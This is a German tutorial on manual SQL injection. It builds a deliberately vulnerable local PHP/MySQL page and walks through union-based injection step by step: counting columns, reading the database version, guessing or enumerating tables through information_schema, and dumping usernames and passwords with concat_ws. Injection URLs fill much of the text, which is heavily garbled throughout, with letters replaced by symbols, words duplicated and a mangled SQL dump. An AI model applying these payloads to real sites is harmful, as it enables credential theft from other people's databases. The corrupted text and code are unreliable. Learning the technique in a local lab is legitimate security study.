SQL Injection Tutorial by hand0 Inhaltsverzeichnis Kapitel
Seite
Intro Haftung !r "e# geeignet$ Setup &as ist eine SQL Injection SQL Injection Schritt f!r Schritt SQL )ersion*+, SQL )ersion-, /utro
2 2 2 % ' ( ( ., .'
Intro So ich "ei1 dieses Tutorial o##t #it einiger )ersp3tung4 5edoch gehe ich noch einen nor#ale# 6eruf nach und habe de#entsprechend nicht allzu viel 7eit4 6evor ich also "as halbfertiges oder ungen!gendes in den S"ap #einer Lieblings Linu8 9istribution tippe "artete ich bis der richtige 7eitpunt geo##en "ar ein #:glichst perfetes Tutorial zu schreiben4 Ich hatte schon von ;nfang an vor et"as o#plettes zu odesnippets4 >odesnippets4 ;nhand dieser ?#gebung sollte es leichter sein zu verstehen "as genau passiert und #an "ird #ehr
Haftung 7u 6eginn das !bliche4 Ich bin nicht Schuld "enn ihr unvorsichtig seid und ent"eder einen ;buseBbrief riegt oder eure eigene Seite illt4 5eder von euch sollte alt genug sein u# sich zu sch!tzen oder )erant"ortungsbe"usst )erant"ortungsbe"usst genug u# das olgende nur f!r loale 7"ece zu nutzen4 ;lso verschont #ich bitte #it irgend"elchen CDEs dass ihr jetzt Stubenarrest habt "eil der Costbote b:se 6riefe brachte4
!r "e# geeignet$ 9as Tutorial ist sehr Techni und Theorielastig des"egen "ird es absoluten ;nf3ngern sch"er fallen Quellcodes )org3nge und sonstiges zu verstehen4 9es"egen d!rft ihr nicht er"arten dass ihr das The#a nur durch das lesen dieses Te8tes versteht4 9es"egen e#pfehle ich #ein Tutorial ausschlie1lich Leuten die gerne e8peri#entieren und Spa1 a# Lernen haben4 Hinzu o##t das Interesse "aru# eine SQLBInjection !berhaupt #:glich ist und der &ille sich von de# schlichtBgestricten ToolB?sern abzuheben4 abzuheben4 Sich #al #it Daterie befassen anstatt anstatt vorgefertigte Scanner Scanner zu benutzen benutzen und nur den /utput /utput zu betrachten4 betrachten4 Ko#ple8ere Injections per Hand durchf!hren zu :nnen4 )on sich behaupten :nnen er habe sich #it et"as befasst und ann es in die Tat u#setzen4 ;ber !berhaupt und das ist #eine eigentliche Intention de# Titel FHacerF et"as n3her zu o##en4 9er folgende urze ;bschnitt !ber ethical Hacer #uss sein lest ihn und lernt "as oder !berspringt ihn @A )orgefertigte Crogra##e zu ver"enden ohne 6asis"issen "as dort eigentlich passiert hat absolut nichts #it de# Grundgedanen des Hacens zu tun4 9ie ersten Hacer "aren n3#lich eine Denschen die &ege gingen "elche schon total platt getra#pelt "aren 9iese Leute onnten durch Kreativit3t und &illensraft o#plett neue Gebiete erschlie1en4 9as ist also #eine ;uffassung von "irlichen Hacern Sachen einfach #al selber #achen und f!r sich selbst Crogra##e schreiben u# Dechanis#en zu auto#atisieren anstatt das ederleid anderer Crogra##ierer zu tragen und da#it zu protzen4
ur ein ganz leiner leiner Teil #einer Deinung4 Deinung4 9e#entsprechend 9e#entsprechend ann dieser ;rtiel nur Leuten Spa1 #achen und S@G/ #al f!r ein paar Stunden zu verlassen4 9enn ohne Sch"eiss ein Creis4 H3ngt euch et"as rein4 )ersucht die Quellcodes zu verstehen tippt sie ab anstatt zu opieren oder versucht sie diret aus de# Ged3chtnis oder per Logi zu schreiben4 ;lle die f!r et"as D!he und 7eit einen erv haben Sorry aber Cech4
Setup 6eginnen "ir nur #it der @Crogra##e8a#pph >@ Crogra##e8a#pphtdocsA4 tdocsA4 ?nter Linu8 ann der Cfad jedoch et"as variieren der !bliche Cfad ist aber eigentlich eigentlich Fvar"""htdocsF4 9arauf 9arauf ann ich aber eine Garantie geben4 !r den Cfad von D;DC #!sst ihr nur unter den
ehlerfrei gelungen ist solltet ihr unser =bungsszenario sehen "enn ihr !ber Fhttp@localhostsJl4phpF Fhttp@localhostsJl4phpF aufruft4 alls in den letzten Schritten Croble#e auftauchen neh#t die ehler#eldungen versucht erst#al !ber Google !ber Croble# selbstst3ndig zu l:sen4 ;nsonsten :nnt ihr #it #:glichst vielen Infor#ationen auch einen Cost in diese# Thread verfassen4
phpMyAdmin SQL Dump version 4.0.6 http://www.phpmyadmin.n http://www. phpmyadmin.net et Host: o!ahost "rsteun#s$eit: 0%. Apr %0&' um &(:'0 "rsteun#s$eit: Server )ersion: '.'.(( *H*-)ersion: '.'.(
S"+ SQL,MD" ,A1+,)AL1",,2"3 ,A1+,)AL1",,2"3 S"+ time,$one 500:00 500:00 -- Datenan7: 8s9i8 -- +aeenstru7tur ;r +aee 8news8 -<3"A+" +A=L" 8news8 > 8id8 int int> >&& &&? ? + 1LL A1+,@<3"M"+ A1+,@<3"M"+ 8news8 teBt + 1LL 1LL *3@MA3C "C >8id8 8id8? ? ? "E@" "E@" My@SAM D"FA1L+ 8id8 8id8 8news8 8news8? ? )AL1"S >& GDas sind die ersten ewsG? ewsG? >% GDas sind die $weiten ewsG? ewsG? >( GHappy HaBin#G? HaBin#G? -- +aeenstru7tur ;r +aee 8user8
<3"A+" +A=L" 8user8 > 8id8 int int> >&& &&? ? + 1LL 1LL 8username8 teBt <LLA+" atin&,#enera,!i atin&,#enera,!i 8password8 teBt <LLA+" atin&,#enera,!i atin&,#enera,!i *3@MA3C "C >8id8 8id8? ? ? "E@" "E@" My@SAM D"FA1L+ 8id8 8id8 8username8 8username8 8password8 8password8? ? )AL1"S >& Gadmin&G Gadmin&G GhorstG GhorstG? ? >% Gadmin%G Gadmin%G GuG GuG? ?
un der Inhalt der der sJl4php 9atei beachtet beachtet dass ihr in der o##entierten 7eile eventuell das Cass"ort eintragen #!sst@ h2ISQL @nJe!tion *ay#round./ *ay#round./h2I brI brI A hre hre http://o!ahost:KKKK/s9.phpnews& Iews &/ &/ A I I brI A hre hre http://o!ahost:KKKK/s9.phpnews% Iews %/ %/ A I I brI A hre hre http://o!ahost:KKKK/s9.phpnews( Iews (/ (/ A I I brI brI brI php php d mys9,!onne!t mys9,!onne!t> >o!ahost o!ahost root root ? ? NN Hier as drittes Ar#ument euern apa!he 3oot *asswort eintra#en eintra#en. . mys9,see!t,d> mys9,see!t,d >s9i s9i? ? 3 die die> >mys9,error mys9,error>?? >??
//i>pre#,mat!h>G/>orderOnuOwhereOimit?/iG ,E"+PGnewsG?? // eBit>Go Ha!7in# a##otRG? s9 S"L"<+ F3M 8news8 TH"3" 8id8 . .,E"+ ,E"+P PGnewsG GnewsG. . resut mys9,9uery mys9,9uery> >s9 s9? ? row mys9,et!h,asso! mys9,et!h,asso!> >resut resut? ? e!ho row rowP PGidG GidG. . - . .row rowP PGnewsG GnewsG
I I brI brI brI brI
coded by hand0
Ich habe #ich dazu entschieden eine
&as ist eine SQLBInjection$ ;ls eine SQLBinjection bezeichnet #an das Danipulieren von SQLBQuerys in CHCBbasierten &ebseiten u# an eigentlich nicht :ffentliche 9atens3tze "ie Cass":rter und <#ailB ;dressen zu o##en4 / dieser Satz "ar "ahrscheinlich sehr ver"irrend4 9es"egen "erde ich es so einfach "ie #:glich in eine# l3ngere# ;bschnitt #it vielen )ergleich ein z"eites #al erl3ren4 Ihr alle solltet das ennen ihr seid auf einer &ebseite eines >lans sozialen etz"eres oder eines Shops4 Ich "erde nun das 6eispiel des sozialen etz"eres "eiterf!hren4 Ihr lict also auf das Crofil einer Cerson und "erdet diret auf dessen Crofil "eitergeleitet4 5etzt solltet ihr euch die rage stellen "oher der Server "ei1 "elche Seite ihr genau betrachten "ollt4 9a#it der Server diese Infor#ation von eure# 6ro"ser erhalten ann gibt es die C/ST und Godes irgend"o diese 7ahl ver"endet "erden #uss u# 9atens3tze aus einer 9atenban zu erhalten4 9a CHC eine eigene diret Schnittelle zu einer 9atenban besitzt ver"endet es integrierte untionen u# #it DySQLB 9atenbanen o##unizieren zu :nnen4 ?# es urz anzu#eren die drei
Server so beeinflussen dass der SQLBServer unseren 6efehlen gehorcht oder es bei falscher Synta8 eben nicht tut @A
9as "ar hoffentlich eine verst3ndliche nicht allzu technische t echnische
SQL Injection Schritt f!r Schritt SQL )ersion*+, &enn ihr bis hierhin durchgehalten habt und bereits http@"""4phpBeinfach4de durchgearbeitet durchgearbeitet habt dann hat sich eure ;rbeit bereits gelohnt4 Ich "erde nun eine Schritt f!r Schritt ;nleitung #it ode "erde "erde ich i##er als rote Schrift Schrift #arieren u# darzustellen in"iefern unsere Danipulation aussieht4 Ihr :nnt nun das sJl4php Sript in eure# 6ro"ser aufrufen4 Ihr seht nun eine sehr #ini#alistische &ebseite die f!r unsere 7"ece aber opti#al geeignet ist4 Sobald ihr auf einen der drei Lins lict "erdet ihr auf die entsprechende entsprechende Seite der achricht "eitergeleitet4 5eder der sich jetzt #it den Grundlagen befasst hat "ird sofort sehen dass die I9 der achricht per G
http@localhost@sJl4php http@localhost@sJl4php$ne"s+. http@localhost@sJl4php$ne"s+.
Ihr seht also dass an die ?ML der Cara#eter ne"s angeh3ngt "urde4 9as ist aber auch alles "as "ir sehen4 ?# jetzt zu verstehen "as sich auf de# Server vor unseren ;ugen verstect abspielt "erd eich jetzt i##er die SQLB;bfragen einf!gen "ie sie bei der je"eiligen ?ML aussehen und die 7eile der ;bfrage in CHC4
http@localhost@sJl4php$ne"s+.. http@localhost@sJl4php$ne"s+ RsJl + FST M/D ne"s &HT M/D ne"s &Hode zu unterscheiden4 http@localhost@sJl4php$ne"s+.E http@localhost@sJl4php$ne"s+ .E RsJl + FST M/D ne"s &HT M/D ne"s &Hode an sich 3ndert sich des"egen nicht "irlich "as da CHC in diese# SriptA nicht pr!ft "as !bergeben "ird4 hec your Danual444F erscheinen4 erscheinen4 5edoch #uss das nicht der all sein4 9ie &ebseite ann ihre Hintergrundfarbe und das gesa#te The#e behalten und irgend"o diese ehler#eldung anzeigen4 ;lso ein#al die Seite !berfliegen und nach einen H4 Hierf!r h3ngen "ir hinter den &ert . einfach ein Y;9Y.+.BB4 http@localhost@sJl4php$ne"s+.Y;9Y.+.BB http@localhost@sJl4php$ne"s+ .Y;9Y.+.BB ST M/D ne"s &HH zur!c gegeben "ird4 . ist I>HT 2 des"egen
http@localhost@sJl4php$ne"s+.Y;9Y.+2BB http@localhost@sJl4php$ne"s+ .Y;9Y.+2BB ST M/D ne"s &Hode einschleusen einschleusen dann #!ssen "ir "issen "ie viele Spalten diese Tabelle hat4 ?# dies zu !berpr!fen gehen "ir "ie folgt vor@ http@localhost@sJl4php$ne"s+.YorderYbyY.BB http@localhost@sJl4php$ne"s+. YorderYbyY.BB ST M/D ne"s &H
*+++ ehler *+++ ehler *+++ Kein ehler *+++ ehler
In diese# 6eispiel sieht #an "ie #an vorzugehen hat4 &ir fangen bei .00 an und gehen dann in gro1en Schritten runter4 Sobald die Seite ehlerfrei angezeigt "ird inre#entieren "ir den &ert "ieder solange bis "ir "issen dass bei 20 die Seite das letzte #al ehlerfrei angezeigt "ird4 9as hei1t also dass die Tabelle in der "ir arbeiten 20
ausschlie1lich das doppelte Dinus4 Sollte die orderYby untion nicht funtionieren :nnen "ir es auch auf einen anderen &eg versuchen4 or#aler"eise or#aler"eise "!rden "ir nach der orderYby untion diret #it eine# fertigen ?I/YST State#ent fortfahren4 5edoch :nnen "ir dieses auch ver"enden u# auf die elder ;nzahl zu gelangen jedoch et"as u#st3ndlicher4 7uerst aber et"as zu# F?I/F dieser >o##and > o##and ann z"ei ST #iteinander verbinden und er#:glicht uns so innerhalb eines ST ein anderes auszuf!hren4 ?# auf diese# &ege an die ;nzahl der elder zu o##en gehen "ir so vor@ http@localhost@sJl4php$ne"s+.Y?I/YSTY.BB http@localhost@sJl4php$ne"s+.Y?I/YSTY.BB http@localhost@sJl4php$ne"s+.Y?I/YSTY.2BB http@localhost@sJl4php$ne"s+. Y?I/YSTY.2BB http@localhost@sJl4php$ne"s+.Y?I/YSTY.2%BB http@localhost@sJl4php$ne"s+. Y?I/YSTY.2%BB 444 us" ST M/D ne"s &HT . 2 %BBX %BB X &ir h3ngen also i##er die rage eines "eiteren eldes an das ?I/YST State#ent solange bis in ehler auftaucht4 9ieser &eg scheint auf den ersten 6lic ebenso einfach jedoch #!sst ihr bedenen dass es da drau1en i# etzt Tabellen #it #ehreren Hunderten Spalten gibt4 9e#entsprechend lange dauert es auf diese# &ege ans 7iel zu o##en4 Sobald #an aber dann die ;nzahl der elder hat egal "ie nutzten "ir das ?I/ State#ent u# den Grundstein unserer Injection zu legen4 I# I # alle unserer loalen Seite s3he das so aus@ http@localhost@sJl4php$ne"s+.Y?I/YSTY.2BB un sollte die Seite Seite ehlerfrei angezeigt angezeigt "erden4 &enn ihr #al auf eine Tabelle Tabelle sto1t die sehr viele elder hat e#pfehle ich euch die Hac6ar f!r irefo84 9ieses ;ddon er#:glicht euch das schnelle TY.2BB http@localhost@sJl4php$ne"s+B egieren http@localhost@sJl4php$ne"s+]]]]]]] http@localhost@sJl4php$ne"s+ ]]]]]]]Y? Y?I I/ /YS YS <>TY TY. .2B 2BBB ?nre ?nreal al hohe hohenn &ert eintragen ach diese# )organg sollten "ir nun nun !berall dort "o Infor#ationen Infor#ationen standen 7ahlen 7ahlen stehen4 ;us diese# Grunde z3hlen "ir bei de# ?I/ State#ent hoch4 TY......BB ?I/YSTY......BB 5edoch "!rde uns das jetzt nicht "eiterbringen4 &ir haben also #it diese# di ese# Hochz3hlen be"irt dass "ir sehen "elches eld !berhaupt bis auf die &ebseite gelangt da es ja auch elder in 9atenbanen gibt die nie#als :ffentlich gezeigt "erden Cass":rter us"4A4 Logischer"eise sehen "ir in unsere#
loalen 6eispiel jetzt die . und die z"ei da beide elder angezeigt "erden sollen4 9er n3chste Schritt ist nun die )ersion von DysJl herauszufinden4 &aru# diese "ichtig ist i st "erde ich gleich erl3ren4 9ie )ersion einer 9atenban findet #an zie#lich si#pel heraus inde# #an eine der sichtbaren 7ahlen #it de# versionA oder ^^version 6efehl ersetzt4 http@localhost@sJl4php$ne"s+B.Y?I/YSTYversionA2BB http@localhost@sJl4php$ne"s+B.Y?I/YSTYversionA 2BB http@localhost@sJl4php$ne"s+B.Y?I/YSTY^^version http@localhost@sJl4php$ne"s+B.Y?I/YSTY ^^version2BB 2BB un sollte dort "o sich vorher die 7ahl 7ahl befand die )ersion )ersion befinden4 ;ndere n!tzliche 6efehle sind au1erde#@ ^^datadir currentUuserA
;lle 9atenban )ersionen -[ beinhalten eine integrierte 9atenban #it de# a#en Finfor#ationUsche#aF4 Finfor#ationUsche#aF4 9ie <8istenz dieser 9atenban ist uns von enor#en utzen denn in dieser 9atenban "ird eine ;rt Inhaltsverzeichnis des gesa#ten 9atenbanservers gef!hrt4 ;lso ;LL< 9atenbanen Tabellen und Spalten auf de# Server stehen "erden in dieser infor#ationUsche#a infor#ationUsche#a gelistet4 9as hei1t also dass "ir #it Hilfe dieser 9atenban eine =bersicht aller interessanter Infor#ationen beo##en :nnen "as uns i# "eiteren )erlauf der Injection sehr sehr hilfreich sein "ird4 In 9atenbansyste#en unterhalb der )ersion [ gibt es diese infor#ationUsche# i nfor#ationUsche#aa nicht4 ;lso bleibt uns nichts anderes !brig !brig als die TabellenB und Spaltenna#en Spaltenna#en selbst zu erraten4 erraten4 Ich "erde zuerst #it der )ersion , )ariante beginnen4 ;usgangspunt ;usgangspunt ist i##er noch der folgende Lin@ http@localhost@sJl4php$ne"s+B.Y?I/YSTY.2BB 7uerst #!ssen "ir den a#en der Tabelle erraten4 9a dort die D:glicheiten "irlich fast unendlich sind "ird sich das als zie#lich sch"ierig gestalten4 ;lso fangen "ir #it den !blichen an@ http@localhost@sJl4php$ne"s+B.Y?I/YSTY.2YM/DYusers http@localhost@sJl4php$ne"s+B.Y?I/YSTY.2 YM/DYusersBB BB ST M/D ne"s &HT . 2 M/D usersBBX usersBBX Ihr seht also dass ich zuerst ?M den Tabellen a#en raten "ill4 In die #enschliche Sprache !bersetzt heisst das also F&3hle eld .2 aus der Tabelle userF4 &as passiert nat!rlich "enn es diese Tabelle nicht gibt$ Michtig es ann nichts zur!c gegeben "erden und es gibt einen
http@localhost@sJl4php$ne"s+B.Y?I/YSTY.2YM/DYuser http@localhost@sJl4php$ne"s+B.Y?I/YSTY.2Y M/DYuser BB BB ST M/D ne"s &HT . 2 M/D user BBX BBX In unserer loalen ?#gebung ist dies einfach da "ir ja "issen dass die Tabelle FuserF hei1t4 Sobald "ir also "issen dass es die Tabelle ?ser gibt #!ssen "ir nat!rlich die elder erraten4 http@localhost@sJl4php$ne"s+B.Y?I/YSTYid http@localhost@sJl4php$ne"s+B.Y?I/YSTY id2YM/DYuserBB 2YM/DYuserBB ST M/D ne"s &HT id id 2 2 M/D userBBX 9af!r ersetzten "ir dann einfach die 7ahlen durch elder die "ir uns ausgeben lassen "ollen4 Ich habe jetzt erst#al nur das 6eispiel FidF ver"endet da dieser na#e in den #eisten Tabellen voro##t4 Sobald also die Seite ehlerfrei dargestellt "ird sollten "ir sogar schon eine allererste ;usgabe aus der Tabelle sehen4 9a "ir i# Crinzip schon eine fertige f ertige Injection haben @A &ir lassen uns also die I9 aus der Tabelle user ausgeben4 &ir sollten uns alle erfolgreich erratenen elder notieren da#it "ir sp3ter eine zusa##engefasste zusa##engefasste ;bfrage starten :nnen4 9ie n3chsten Interessanten elder sind dann userna#e pass"ord und e#ail4 9iese eldern a#en #!ssen zus3tzlich noch erraten "erden4 9as passiert aber alles nach der selben Dethode "ie "ir die I9 erraten haben "ir ersetzen eine der sichtbaren zahlen durch unseren erhofft richtigen eldna#en4 9a "ir ja "issen dass die elde rin unserer Tabelle die a#en id userna#e und pass"ord tragen :nnen "ir also die Suche nach diesen !berspringen und #it der ;usgabe des Tabellen Inhaltes fortfahren &ir stehen nun also vor de# Croble# dass "ir drei eldna#en haben aber nur z"ei elder u# diese einzutragen4 !r diese 3lle ver"enden "ir die untion concatU"sA4 9iese untion "ird dazu benutzt #ehrere 7eichenetten aneinander zuh3ngen4 9ie untion funtioniert "ie folgt@ concatU"s08%aiduserna#epass"ordA 9iese untion "ird einfach durch eine einzige 7ahl in der Injection ersetzt das spart sehr viel Clatz und hat einen "eiteren )orteil4 9er erste &ert innerhalb der untion 08%a ist der He8adezi#ale &ert f!r einen 9oppelpunt und fungiert als Trennzeichen aller folgenden Strings4 ;lso eine ;usgabe "3re in et"as so for#atiert@ .@;d#inistrator@6einpass"ort
Dit diese# &issen :nnen "ir nun einen 9atensatz aus der Tabelle ausgeben lassen4 http@localhost@sJl4php$ ne"s+]]]]]]]]YunionYselectYconcatU"s08%aiduserna#epass"ordA ne"s+]]]]]]]]YunionYselectY concatU"s08%aiduserna#epass"ordA2Yfro#YuserBB 2Yfro#YuserBB ST M/D ne"s &HT concatU"s08%aiduserna#epass"ordA 2 concatU"s08%aiduserna#epass"ordA 2 M/D userBBX &ir sehen also eine gut for#atierte ;usgabe der Tabelle user4 &as nat!rlich auff3llt ist dass "ir diret den ;d#in #it der ?serin . gefunden haben4 9as ann passieren #uss aber nicht4 )iele ;d#inistratoren 3ndern i# nach hinein ihre I9 u# genau solchen 3llen zuvorzuo##en4 zuvorzuo##en4 9es"egen #!ssen "ir nur !berlegen "ie "ir denn von einer I9 zur n3chsten FspringenF :nnen4 ;lso die Tabelle durchforsten4 !r dieses )orhaben ver"enden "ir die li#it untion von DySQL4 9iese "ird i##er ans T M/D ne"s &HT concatU"s08%aiduserna#e concatU"s08%aiduserna#epass"ordA pass"ordA 2 M/D user LIDIT 0.BBX 0. BBX http@localhost@sJl4php$ ne"s+]]]]]]]]YunionYselectYconc ne"s+]]]]]]]]YunionYselectYconcatU"s08%aidu atU"s08%aiduserna#epass" serna#epass"ordA2Yfro#YuserY ordA2Yfro#YuserY li#it Y..BB Y.. BB ST M/D ne"s &HT concatU"s08%aiduserna#e concatU"s08%aiduserna#epass"ordA pass"ordA 2 M/D user LIDIT ..BBX ..BBX &enn ihr diese beiden 6eispiele in eure# 6ro"ser ver"endet dann "erdet ihre sehen dass ihr von der I9 . auf die I9 2 springen :nnt und so#it einen ganz anderen 9atensatz ausgebt4 Ihr erh:ht also i##er die 7ahl vor de# Ko##ata und erhaltet da#it den n3chsten 9atensatz4 9as "ar es auch schon zu einer SQLBInjection auf )ersion ,4 Ihr seht i#
SQL )ersion-+[ Ko##en "ir also zu einer Injection einer 9atenban )ersion -+[4 &ie ich bereits er"3hnte haben "ir hier 7ugriff auf eine ge"issen infor#ationUsche#a "elche uns das Maten der Tabellen und eldna#en erspart4 &er den )organg der ,er Injection verstanden hat sollte hier absolut einerlei Croble#e #ehr haben da eine neuen untionen oder Technien ver"endet "erden4 ur der T M/D ne"s &HT . 2BBX 2BB X ;nders als bei )ersion , :nnen "ir hier diret anfangen aus der 9atenban Infor#ationUsche#a Infor#ationUsche#a zu lesen4 9azu #!ssen "ir "issen dass die 9atenban infor#ationUsche#a infor#ationUsche#a heisst und die Tabelle colu#ns4 ?# 9atenban !bergreifend aus Tabellen zu lesen #!ssen "ir also der ;bfrage den 9atenban a#e #it !bergeben dies funtioniert inde# #an den 9atenban na#e #it de# Tabellen na#e #it eine# Cunt verbindet4 &enn "ir also z7 in der 9atenban sJli sind aber "as aus infor#ationUsche#a "issen "ollen gehen "ir "ie folgt vor@ ST M/D infor#ationUsche#a infor#ationUsche#a4colu#ns 4colu#ns ;lso "ir geben an dass "ir an die 9atenban infor#ationUsche#a und die Tabelle colu#ns "ollen4 Innerhalb der Tabelle >olu#ns gibt es drei interessante elder@ tableUsche#a tableUna#e und colu#nUna#e4 colu#nUna#e4 ;us diesen Infor#ationen basteln "ir uns jetzt eine 9atenban !bergreifende ;bfrage@ http@localhost@sJl4php$ne"s+B .YunionYselectYconcatU"s08%atableUsche#atableUna#ecolu#nUna#e .YunionYselectYconcatU"s08%a tableUsche#atableUna#ecolu#nUna#eA2Yfro#Y A2Yfro#Yinfor#a infor#a tionUsche#a4colu#nsBB tionUsche#a4colu#ns BB ST M/D ne"s &HT concatU"s08%atableUsche#atableUna#ecolu#nUna#e concatU"s08%atableUsche#atableUna#ecolu#nUna#e 2 2 M/D infor#ationUsche#a4colu#ns infor#ationUsche#a4colu#nsBBX BBX H;M;>TH;M;>TH;M;>TH;M;>T
infor#ationUsche#a@>H;M;>TH;M;>TH;M;>TH;M;>Thronologisch4 9es"egen sind die ersten M<;TM<;T/ infor#ationUsche#a@M</STM;ITS@>/STM;IT STM;ITS@>/STM;ITUS>HHH
Sobald ihr dann eure 9aten habt 3ndert ihr einfach eure Injection so ab dass sie auf die 9atenban die Tabelle und die elder ver"eist@ http@localhost@sJl4php$ ne"s+]]]]]]]]YunionYselectYconc ne"s+]]]]]]]]YunionYselectYconcatU"s08%a atU"s08%aiduserna#epass"ord iduserna#epass"ordA2Yfro#Y A2Yfro#Yuser user Yli#it Yli#it Y0.BB
&ir haben also die Grundlegenden Technien der SQLBInjection durchgearbeitet4 Ich hoffe ihr habt verstanden dass es sich bei eine# solchen ;ngriff u# ganz einfach Logi handelt4 9urch das #anipulieren der &erte in der ?ML brecht ihr sozusagen aus der eigentlichen ;bfrage aus und f!gt eure eigene ein4
/utro So o##en "ir zu de# &4 Ich hoffe ich onnte #:glichst vielen Leuten einen ersten =berblic !ber das ;ngriffsszenario SQL Injection ver#itteln4